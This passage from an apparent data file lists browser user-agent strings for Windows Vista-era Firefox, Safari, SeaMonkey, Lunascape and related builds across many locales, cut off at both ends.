Minefield/3.1b2pre\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1b2pre) Gecko/20081015 Fennec/1.0a1\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1b3) Gecko/20090305\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1b3) Gecko/20090405 Firefox/3.1b3\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1b3pre) Gecko/20081204 Shiretoko/3.1b3pre (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1b3pre) Gecko/20081207 Shiretoko/3.1b3pre\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1b4) Gecko/20090423 Firefox/3.5b4 GTB5 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1b4pre) Gecko/20090307 Shiretoko/3.1b4pre (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1b4pre) Gecko/20090311 Shiretoko/3.1b4pre\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1b4pre) Gecko/20090312 Firefox/3.1b4pre Lunascape/5.0.3.0\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1b4pre) Gecko/20090312 Firefox/3.1b4pre Lunascape/5.0.5.0\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1b5pre) Gecko/20090519 Shiretoko/3.5b5pre\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1pre) Gecko/20090516 Firefox/3.5pre Lunascape/5.1.0.1\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.10pre) Gecko/20100828 Namoroka/3.6.10pre\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12 (.NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; .NET CLR 3.5.21022)\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.13) Gecko/20101203 AskTbAD3/3.9.1.14019 Firefox/3.6.13 ( .NET CLR 3.5.30729; .NET4.0C)\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.13) Gecko/20101203 AskTbUT2V5/3.9.1.14019 Firefox/3.6.13\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.0.4, (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.15) Gecko/20110303 Lightning/1.0b2 Thunderbird/3.1.9 ThunderBrowse/3.8\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.17) Gecko/20110420 Firefox/3.6.17\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.2) Gecko/20100316 Firefox/3.6.2 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB6 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.0 ( .NET CLR 3.5.30729; .NET4.0E)\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.3) Gecko/20100403 Firefox/3.6.3 (Palemoon/3.6.3) (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.3) Gecko/20100405 Namoroka/3.6.3 ( .NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.4) Gecko/20100513 Firefox/3.6.4 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.4) Gecko/20100523 Firefox/3.6.4 ( .NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.4) Gecko/20100527 Firefox/3.6.4\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.4) Gecko/20100527 Firefox/3.6.4 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2a1) Gecko/20090806 Namoroka/3.6a1\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2a1) Gecko/20090806 Namoroka/3.6a1 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2a1pre) Gecko/20081222 Fennec/1.0a2\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2a1pre) Gecko/20090207 Minefield/3.2a1pre\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2a1pre) Gecko/20090210 Minefield/3.2a1pre\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2a1pre) Gecko/20090226 Minefield/3.2a1pre\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2a1pre) Gecko/20090306 Minefield/3.2a1pre\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2a1pre) Gecko/20090324 Minefield/3.6a1pre\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2a1pre) Gecko/20090401 Minefield/3.6a1pre\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2a1pre) Gecko/20090407 Minefield/3.6a1pre\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2a1pre) Gecko/20090411 Minefield/3.6a1pre (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2a1pre) Gecko/20090420 Minefield/3.6a1pre (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2a1pre) Gecko/20090707 Minefield/3.6a1pre (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2a2pre) Gecko/20090826 Namoroka/3.6a2pre\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.3a1pre) Gecko/20090829 Minefield/3.7a1pre (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.3a1pre) Gecko/20091118 Minefield/3.7a1pre (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.3a3pre) Gecko/20100312 Minefield/3.7a3pre\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9a5pre) Gecko/20070428 Minefield/3.0a5pre\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9a6pre) Gecko/20070615 Minefield/3.0a6pre\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9a9pre) Gecko/2007092705 Minefield/3.0a9pre\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9b3) Gecko/2008020514 Firefox/3.0b3\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9b4pre) Gecko/2008030210 Firefox/2.0.0.14\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9b5) Gecko/2008032620 Firefox/3.0b5\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9pre) Gecko/2008050715 Thunderbird/3.0a1\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:2.0a1pre) Gecko/2008032002 Minefield/4.0a1pre\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-gb) AppleWebKit/531.22.7 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-us) AppleWebKit/531.9 (KHTML, like Gecko) Version/4.0.3 Safari/531.9\nMozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8\nMozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1b4pre) Gecko/20090419 SeaMonkey/2.0b1pre\nMozilla/5.0 (Windows; U; Windows NT 6.0; en_US; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.7\nMozilla/5.0 (Windows; U; Windows NT 6.0; es-AR; rv:1.9) Gecko/2008052906 Firefox/3.0\nMozilla/5.0 (Windows; U; Windows NT 6.0; es-AR; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; es-AR; rv:1.9.1) Gecko/20090624 Firefox/3.5 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; es-AR; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3\nMozilla/5.0 (Windows; U; Windows NT 6.0; es-ES; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12\nMozilla/5.0 (Windows; U; Windows NT 6.0; es-ES; rv:1.8.1.14) Gecko/20080404 Firefox/2.0\nMozilla/5.0 (Windows; U; Windows NT 6.0; es-ES; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.13\nMozilla/5.0 (Windows; U; Windows NT 6.0; es-ES; rv:1.8.1.14) Gecko/20080406 K-Meleon/1.1.5\nMozilla/5.0 (Windows; U; Windows NT 6.0; es-ES; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16\nMozilla/5.0 (Windows; U; Windows NT 6.0; es-ES; rv:1.8.1.17pre) Gecko/20080716 K-Meleon/1.5.0\nMozilla/5.0 (Windows; U; Windows NT 6.0; es-ES; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3\nMozilla/5.0 (Windows; U; Windows NT 6.0; es-ES; rv:1.9) Gecko/2008052906 Firefox/3.0\nMozilla/5.0 (Windows; U; Windows NT 6.0; es-ES; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1\nMozilla/5.0 (Windows; U; Windows NT 6.0; es-ES; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10\nMozilla/5.0 (Windows; U; Windows NT 6.0; es-ES; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6\nMozilla/5.0 (Windows; U; Windows NT 6.0; es-ES; rv:1.9.0.9) Gecko/2009040821 Firefox/3.0.9\nMozilla/5.0 (Windows; U; Windows NT 6.0; es-ES; rv:1.9.0.9) Gecko/2009040821 Firefox/3.0.9 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; es-ES; rv:1.9.1.9) Gecko/20100315 Firefox/3.5.9 GTB5 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; es-ES; rv:1.9.2) Gecko/20100115 Firefox/3.6 ( .NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; es-ES; rv:1.9.2.13) Gecko/20101203 AskTbFXTV5/3.9.1.14019 Firefox/3.6.13 ( .NET CLR 3.5.30729) FBSMTWB\nMozilla/5.0 (Windows; U; Windows NT 6.0; es-ES; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 ( .NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; es-MX; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; es-es) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16\nMozilla/5.0 (Windows; U; Windows NT 6.0; fi) AppleWebKit/522.12.1 (KHTML, like Gecko) Version/3.0.1 Safari/522.12.2\nMozilla/5.0 (Windows; U; Windows NT 6.0; fi; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12\nMozilla/5.0 (Windows; U; Windows NT 6.0; fi; rv:1.9) Gecko/2008052906 Firefox/3.0\nMozilla/5.0 (Windows; U; Windows NT 6.0; fi; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3\nMozilla/5.0 (Windows; U; Windows NT 6.0; fi; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 ( .NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; fr-FR) AppleWebKit/525.19 (KHTML, like Gecko) Version/3.1.2 Safari/525.21\nMozilla/5.0 (Windows; U; Windows NT 6.0; fr-FR) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16\nMozilla/5.0 (Windows; U; Windows NT 6.0; fr-FR) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/4.0.2 Safari/530.19.1\nMozilla/5.0 (Windows; U; Windows NT 6.0; fr-FR) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5\nMozilla/5.0 (Windows; U; Windows NT 6.0; fr-FR; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11\nMozilla/5.0 (Windows; U; Windows NT 6.0; fr-FR; rv:1.8.1.14) Gecko/20080406 K-Meleon/1.1.5\nMozilla/5.0 (Windows; U; Windows NT 6.0; fr-ch) AppleWebKit/531.9 (KHTML, like Gecko) Version/4.0.3 Safari/531.9\nMozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.8.1) Gecko/20061010 Firefox/2.0\nMozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12\nMozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16\nMozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3\nMozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.8.1.7) Gecko/20070914 Firefox/2.0.0.7\nMozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1\nMozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.8 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.9.0.11) Gecko/2009060215 Firefox/3.0.11 GTB5 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.9.0.12) Gecko/2009070611 Firefox/2.0.0.12;MEGAUPLOAD 1.0 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3\nMozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4\nMozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5\nMozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.9.0.8) Gecko/2009032609 Firefox/2.0.0.11;MEGAUPLOAD 1.0 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.5;MEGAUPLOAD 1.0\nMozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8\nMozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 (.NET CLR 3.5.30729) FirePHP/0.2.4\nMozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 GTB5 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.9.0.9) Gecko/2009040821 Firefox/3.0.9 (.NET CLR 2.0.50727; .NET CLR 3.0.30618; .NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.9.1.17) Gecko/20110123 SeaMonkey/2.0.12\nMozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.9.1b1) Gecko/20081007 Firefox/3.1b1\nMozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3\nMozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 GTB7.1\nMozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.9.2.16) Gecko/20110319 Firefox/3.0.3;MEGAUPLOAD 1.0 GTB7.1 ( .NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.9.2.28) Gecko/20120306 Firefox/3.6.28\nMozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.9.2.4) Gecko/20100523 Firefox/3.6.4 ( .NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.9b3pre) Gecko/2008011205 Minefield/3.0b3pre\nMozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.9b5) Gecko/2008032620 Firefox/3.0b5\nMozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528+ (KHTML, like Gecko) Version/4.0 Safari/528.16\nMozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16\nMozilla/5.0 (Windows; U; Windows NT 6.0; he; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4\nMozilla/5.0 (Windows; U; Windows NT 6.0; he; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; hu-HU) AppleWebKit/525.26.2 (KHTML, like Gecko) Version/3.2 Safari/525.26.13\nMozilla/5.0 (Windows; U; Windows NT 6.0; hu-HU) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16\nMozilla/5.0 (Windows; U; Windows NT 6.0; hu-HU) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4\nMozilla/5.0 (Windows; U; Windows NT 6.0; hu; rv:1.8.1.2) Gecko/20070219 Firefox/2.0.0.2\nMozilla/5.0 (Windows; U; Windows NT 6.0; hu; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5\nMozilla/5.0 (Windows; U; Windows NT 6.0; hu; rv:1.9.2.20) Gecko/20110803 Firefox/3.6.20\nMozilla/5.0 (Windows; U; Windows NT 6.0; id; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; it-IT; rv:1.8.1.2) Gecko/20070219 Firefox/2.0.0.2\nMozilla/5.0 (Windows; U; Windows NT 6.0; it-IT; rv:1.8.1.7) Gecko/20070914 Firefox/2.0.0.7\nMozilla/5.0 (Windows; U; Windows NT 6.0; it; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1\nMozilla/5.0 (Windows; U; Windows NT 6.0; it; rv:1.8.1.17) Gecko/20080922 Firefox/2.0.0.17 Flock/1.2.6\nMozilla/5.0 (Windows; U; Windows NT 6.0; it; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6\nMozilla/5.0 (Windows; U; Windows NT 6.0; it; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9\nMozilla/5.0 (Windows; U; Windows NT 6.0; it; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1\nMozilla/5.0 (Windows; U; Windows NT 6.0; it; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; it; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.6;MEGAUPLOAD 1.0 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; it; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8\nMozilla/5.0 (Windows; U; Windows NT 6.0; it; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; it; rv:1.9.1.16) Gecko/20101130 Firefox/3.5.16 GTB7.1 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; it; rv:1.9.1b2) Gecko/20081201 Firefox/3.1b2\nMozilla/5.0 (Windows; U; Windows NT 6.0; it; rv:1.9.2.12) Gecko/20101114 IceCat/3.6.12 (like Firefox/3.6.12)\nMozilla/5.0 (Windows; U; Windows NT 6.0; it; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 (.NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)\nMozilla/5.0 (Windows; U; Windows NT 6.0; it; rv:1.9.2.16) Gecko/20110325 Firefox/3.6.16 CometBird/3.6.16\nMozilla/5.0 (Windows; U; Windows NT 6.0; ja-JP) AppleWebKit/528+ (KHTML, like Gecko, Safari/528.0) Lunascape/5.0.3.0\nMozilla/5.0 (Windows; U; Windows NT 6.0; ja-JP) AppleWebKit/528+ (KHTML, like Gecko, Safari/528.0) Lunascape/5.1.1.0\nMozilla/5.0 (Windows; U; Windows NT 6.0; ja-JP) AppleWebKit/528+ (KHTML, like Gecko, Safari/528.0) Lunascape/5.1.2.0\nMozilla/5.0 (Windows; U; Windows NT 6.0; ja-JP) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16\nMozilla/5.0 (Windows; U; Windows NT 6.0; ja-JP) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/4.0.2 Safari/530.19.1\nMozilla/5.0 (Windows; U; Windows NT 6.0; ja-JP) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16\nMozilla/5.0 (Windows; U; Windows NT 6.0; ja-JP) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27\nMozilla/5.0 (Windows; U; Windows NT 6.0; ja-JP; rv:1.9.0.11) Gecko/2009060215 Firefox/3.0.11 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; ja; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16\nMozilla/5.0 (Windows; U; Windows NT 6.0; ja; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; ja; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3\nMozilla/5.0 (Windows; U; Windows NT 6.0; ja; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; ja; rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.7 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; ja; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8\nMozilla/5.0 (Windows; U; Windows NT 6.0; ja; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; ja; rv:1.9.1) Gecko/20090624 Firefox/3.5 GTB5 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; ja; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1\nMozilla/5.0 (Windows; U; Windows NT 6.0; ja; rv:1.9.1.15) Gecko/20101029 Firefox/3.5.15 Lunascape/6.3.4.23051 ( .NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; ja; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7 GTB6\nMozilla/5.0 (Windows; U; Windows NT 6.0; ja; rv:1.9.2.12) Gecko/20101029 Firefox/3.6.12 Lunascape/6.3.4.23051 ( .NET CLR 3.5.30729; .NET4.0C)\nMozilla/5.0 (Windows; U; Windows NT 6.0; ja; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; ja; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB5 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; ja; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.0 ( .NET CLR 3.5.30729; .NET4.0E)\nMozilla/5.0 (Windows; U; Windows NT 6.0; ja; rv:1.9.2.4) Gecko/20100513 Firefox/3.6.4 ( .NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; ja; rv:1.9.3a5pre) Gecko/20100605 Minefield/3.7a5pre ( .NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; ko; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12\nMozilla/5.0 (Windows; U; Windows NT 6.0; ko; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; ko; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1\nMozilla/5.0 (Windows; U; Windows NT 6.0; ko; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3\nMozilla/5.0 (Windows; U; Windows NT 6.0; ko; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5\nMozilla/5.0 (Windows; U; Windows NT 6.0; ko; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6\nMozilla/5.0 (Windows; U; Windows NT 6.0; ko; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8\nMozilla/5.0 (Windows; U; Windows NT 6.0; ko; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; nb-NO) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5\nMozilla/5.0 (Windows; U; Windows NT 6.0; nb-NO; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12\nMozilla/5.0 (Windows; U; Windows NT 6.0; nb-NO; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6\nMozilla/5.0 (Windows; U; Windows NT 6.0; nb-NO; rv:1.9.0.2) Gecko/2008091620 Firefox/3.0.2\nMozilla/5.0 (Windows; U; Windows NT 6.0; nb-NO; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6\nMozilla/5.0 (Windows; U; Windows NT 6.0; nb-NO; rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.7\nMozilla/5.0 (Windows; U; Windows NT 6.0; nl) AppleWebKit/522.11.3 (KHTML, like Gecko) Version/3.0 Safari/522.11.3\nMozilla/5.0 (Windows; U; Windows NT 6.0; nl) AppleWebKit/522.13.1 (KHTML, like Gecko) Version/3.0.2 Safari/522.13.1\nMozilla/5.0 (Windows; U; Windows NT 6.0; nl; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12\nMozilla/5.0 (Windows; U; Windows NT 6.0; nl; rv:1.8.1.2) Gecko/20070219 Firefox/2.0.0.2\nMozilla/5.0 (Windows; U; Windows NT 6.0; nl; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4\nMozilla/5.0 (Windows; U; Windows NT 6.0; nl; rv:1.9.0.12) Gecko/2009070611 Firefox/3.0.12 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; nl; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3\nMozilla/5.0 (Windows; U; Windows NT 6.0; nl; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8\nMozilla/5.0 (Windows; U; Windows NT 6.0; nl; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; nl; rv:1.9.0.9) Gecko/2009040821 Firefox/3.0.9\nMozilla/5.0 (Windows; U; Windows NT 6.0; nl; rv:1.9.0.9) Gecko/2009040821 Firefox/3.0.9 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; nl; rv:1.9.1) Gecko/20090624 Firefox/3.5\nMozilla/5.0 (Windows; U; Windows NT 6.0; nl; rv:1.9.1.9) Gecko/20100315 Firefox/3.5.9 ( .NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; nl; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 ( .NET CLR 3.5.30729; .NET4.0E)\nMozilla/5.0 (Windows; U; Windows NT 6.0; nl; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 